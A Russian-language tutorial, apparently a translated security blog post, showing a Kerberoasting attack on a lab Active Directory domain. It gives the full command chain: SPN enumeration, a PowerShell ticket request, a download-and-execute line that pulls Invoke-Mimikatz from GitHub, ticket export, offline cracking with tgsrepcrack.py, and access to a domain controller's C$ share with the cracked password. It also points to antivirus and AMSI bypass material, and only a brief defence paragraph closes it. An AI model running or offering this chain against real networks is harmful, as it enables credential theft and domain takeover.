Kerberoasting – эффективный метод для извлечения служебных учетных записей из Active Directory от имени обычного пользователя и без отсылки пакеты в целевую систему
Введение
Kerberoasting – эффективный метод для извлечения служебных учетных записей из Active Directory от имени обычного пользователя и без отсылки пакеты в целевую систему. Изюминка данного метода заключается в том, у нас нет задачи найти уязвимость. Мы будем использовать протокол Kerberos именно так, как задумывали создатели, что привлекает злоумышленников и осложняет защиту системы, поскольку трудно обнаружить нечто подозрительное среди обычных событий.
Схема реализации атаки
Чтобы осуществить атаку Kerberoasting нам нужно как минимум получить обычный доступ под обычным пользователем (расширенные привилегии не требуются). Вначале мы делаем запрос к контроллеру домена на предмет доступных SPN (Service Principal Names; Основные имена службы). После получения перечня SPN вместе со служебной учетной записью мы можем запросить билет у контроллера домена. Далее билет выгружается из памяти на диск и выполняется брутфорс с целью получения пароля служебной учетной записи.
Для демонстрации атаки Kerberoasting будет использоваться сеть из следующих элементов:
· Контроллер домена (Windows Server 2012).
· Сервер MSSQL (Windows Server 2012).
· Два клиента с Windows 10 и Kali Linux (система злоумышленника), находящихся в одной подсети.
Что такое Kerberos?
Kerberos, используемый в качестве аутентификационного протокола в ОС Windows, определяет, как клиенты взаимодействуют с сетевой аутентификационной службой. Клиенты получают билеты от KDC (Key Distribution Centre; Центр распределения ключей), который обычно является контроллером домена. Полученные билеты используются во время установления соединений с серверами. Билеты, используемые протоколом Kerberos, хранят сетевую учетную запись клиента.
Более подробная информация доступна по следующим ссылкам:
https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-kerberos
Что такое SPN?
SPN (Основное имя службы) – уникальный идентификатор экземпляра службы. SPN’ы используются во время Kerberos-аутентификации для связи экземпляра службы с учетной записью, что позволяет клиентскому приложению запрашивать аутентификацию даже без наличия имени аккаунта.
Более подробная информация: https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
Демонстрация атаки Kerberosting
Предполагается, что у нас уже есть первоначальный доступ к целевой машине.
Как показано на рисунке ниже, у нас есть сессия в PowerShell на базе непривилегированной учетной записи «Bob» на машине с Windows 10.
Рисунок 1: Сессия пользователя домена
Далее запускаем команду klist для получения списка доступных билетов в текущей сессии.
По результатам выполнения команды выясняется, что доступные билеты отсутствуют.
Рисунок 2: Результат выполнения команды klist
Теперь попробуем поискать доступные SPN’ы в текущей среде при помощи следующей команды:
setspn -T TestDomain -Q */*
Рисунок 3: Запрос доступных SPN’ов
По результатам выполнения предыдущей команды мы обнаружили SPN служебной учетной записи:
MSSQLSERVER/SQL-Server.testdomain.com:1433
Вновь воспользуемся средствами PowerShell для запроса билетов при помощи следующих двух команд:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSERVER/SQL-Server.testdomain.com:1433"
Рисунок 4: Запрос билета
Повторно запускаем команду klist и убеждаемся, что билет службы MSSQL загружен в память!
Рисунок 5: Повторный запрос билетов
Теперь воспользуемся Mimikatz для выгрузки билета из памяти при помощи скрипта «Invoke-Mimikatz», который можно найти в репозитории PowerSploit.
Invoke-Expression (New-Object Net.Webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps...')
Рисунок 6: Запуск Invoke-Mimikatz
Примечание: использование Mimikatz подобным образом может быть обнаружено антивирусом. Существует множество способов обхода детектирования, с которыми вы можете ознакомиться в сети. Для начала я бы рекомендовал прочитать с статью AMSI Bypass With a Null Character.
Все предыдущие манипуляции мы проделали от имени обычного пользователя домена без расширенных привилегий!
После запуска Mimikatz и получения списка билетов доступных в памяти сделаем выгрузку на диск:
Invoke-Mimikatz –Command '" kerberos::list"' /export
Рисунок 7: Выгрузка билета на диск
Теперь скопируем билет на нашу машину для последующего взлома пароля.
Рисунок 8: Загрузка билета
Для взлома билета удаленной службы воспользуемся скриптом tgsrepcrack.py из репозитория Kerberoast.
python tgsrepcrack.py wordlist.txt 1-40a10000-Bob@MSSQLSERVER~SQL-Server.testdomain.com~1433-TESTDOMAIN.COM.kirbi
Рисунок 9: Взлом билета
По результатам взлома обнаружилось, что у служебной учетной записи «SQLSVC» пароль «Password1».
После взлома пароля посмотрим, какие привилегии есть у этой учетной записи:
net user SQLSVC /domain
Рисунок 10: Параметры учетной записи
В итоге мы расширили привилегии с обычного пользователя до администратора домена. Попробуем подключиться к контроллеру домена и запросить список директорий на диске С:
net group "Domain Controllers" /domain
net use \\WIN-4QHPFSI8002\c$ /user:SQLSVC Password1
dir \\WIN-4QHPFSI8002\c$
Рисунок 11: Перечень директорий на диске C: контроллера домена
Методы защиты
Поскольку в этой атаке Kerberos используется обычным образом, наилучшая мера защиты от атак Kerberoasting – использование сложных паролей для служебный учетных записей, связанных с Kerberos и SPN. Кроме того, не лишним будет сконфигурировать MSSQL сервер или любую другую службу без использования учетных записей с привилегиями, что довольно сложно для ленивых администраторов J.
Ссылки
https://adsecurity.org/?p=3458
https://www.trustedsec.com/2018/05/art_of_kerberoast/
https://leonjza.github.io/blog/2016/01/09/kerberos-kerberoast-and-golden-tickets/
Первое — находим постоянно, второе — ждем вас